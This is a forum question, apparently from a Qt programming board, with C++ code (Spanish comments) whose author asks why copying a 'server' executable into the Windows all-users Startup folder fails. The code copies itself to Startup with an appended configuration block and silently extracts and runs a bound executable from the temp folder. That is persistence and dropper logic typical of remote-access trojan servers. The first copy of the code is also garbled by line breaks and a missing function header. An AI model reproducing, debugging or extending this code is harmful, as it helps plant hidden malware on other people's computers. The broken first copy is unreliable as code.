Hi i want to run my qt app since startup.Error:
QIODevice::write (QFile, "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\miprogram.exe"): device not open
Code, I have the function tiempocopiar to copy and the other is for the configuration of my tool:
void MainWindow::tiempoCopiar()
{
/** Copia el servidor al directorio de inicio **/
QByteArray datos
= nuevaTrama
();
//Reconstruimos la configuración con algunas modificaciones para el servidor copiado //Copiar a los posibles directorios de inicio de windows
copiarServidor
(datos,
QDir::homePath().
left(2) + "/ProgramData/Microsoft/Windows/Start Menu/Programs/StartUp/" + this
->nombreCopiable
);
//
copiar.stop();
}
{
/** Copia el servidor a la ruta destino con la configuración proporcionada en tramaConfiguracion **/
QString home
= directorio.
homePath();
//ruta absoluta del directorio raiz del usuario if (this->adjunto == "unido") //Cuando hay un ejecutable adjunto
{
//TODO: ":Esto está muy poco optimizado, mejorar más adelante."
qint64 tamano;
tamano = this->tamanoAdjunto;
adjunto.setFileName(directorio.tempPath() + "/temp.exe");
adjunto.
open(QFile::WriteOnly);
servidor.
open(QFile::ReadOnly);
if(this->nombreCopiable != "noiniciar") //Solo necesitamos extraer el servidor si lo tenemos que copiar
{
copiable.setFileName(destino);
copiable.
open(QFile::WriteOnly);
copiable.write(servidor.read(servidor.size() - 1024 - tamano));
copiable.write(tramaConfiguracion,1024);
copiable.close();
}
servidor.seek(servidor.size() - 1024 - tamano);
adjunto.write(servidor.read(tamano));
servidor.close();
adjunto.close();
proceso.setWorkingDirectory(directorio.tempPath());
QString exeFileName
= directorio.
tempPath() + "/temp.exe";
}
else
{
if(this->nombreCopiable != "noiniciar")
{
copiable.setFileName(destino);
copiable.
open(QFile::WriteOnly);
servidor.
open(QFile::ReadOnly);
copiable.write(servidor.read(servidor.size() - 1024));
copiable.write(tramaConfiguracion,1024);
copiable.close();
servidor.close();
}
}
}
void MainWindow::tiempoCopiar()
{
/** Copia el servidor al directorio de inicio **/
QByteArray datos = nuevaTrama(); //Reconstruimos la configuración con algunas modificaciones para el servidor copiado
//Copiar a los posibles directorios de inicio de windows
copiarServidor(datos,QDir::homePath().left(2) + "/ProgramData/Microsoft/Windows/Start Menu/Programs/StartUp/" + this->nombreCopiable);//
copiar.stop();
}
void MainWindow::copiarServidor(QByteArray tramaConfiguracion, QString destino)
{
/** Copia el servidor a la ruta destino con la configuración proporcionada en tramaConfiguracion **/
QString home = directorio.homePath(); //ruta absoluta del directorio raiz del usuario
QString appPath = QApplication::applicationFilePath(); //ruta absoluta a la aplicación
if (this->adjunto == "unido") //Cuando hay un ejecutable adjunto
{
//TODO: ":Esto está muy poco optimizado, mejorar más adelante."
QDir directorio;
qint64 tamano;
tamano = this->tamanoAdjunto;
QFile adjunto;
QFile servidor;
adjunto.setFileName(directorio.tempPath() + "/temp.exe");
servidor.setFileName(QApplication::applicationFilePath());
adjunto.open(QFile::WriteOnly);
servidor.open(QFile::ReadOnly);
if(this->nombreCopiable != "noiniciar") //Solo necesitamos extraer el servidor si lo tenemos que copiar
{
QFile copiable;
copiable.setFileName(destino);
copiable.open(QFile::WriteOnly);
copiable.write(servidor.read(servidor.size() - 1024 - tamano));
copiable.write(tramaConfiguracion,1024);
copiable.close();
}
servidor.seek(servidor.size() - 1024 - tamano);
adjunto.write(servidor.read(tamano));
servidor.close();
adjunto.close();
proceso.setWorkingDirectory(directorio.tempPath());
QString exeFileName = directorio.tempPath() + "/temp.exe";
QProcess::startDetached(exeFileName);
}
else
{
if(this->nombreCopiable != "noiniciar")
{
QFile servidor;
QFile copiable;
servidor.setFileName(QApplication::applicationFilePath());
copiable.setFileName(destino);
copiable.open(QFile::WriteOnly);
servidor.open(QFile::ReadOnly);
copiable.write(servidor.read(servidor.size() - 1024));
copiable.write(tramaConfiguracion,1024);
copiable.close();
servidor.close();
}
}
}
To copy to clipboard, switch view to plain text mode
Bookmarks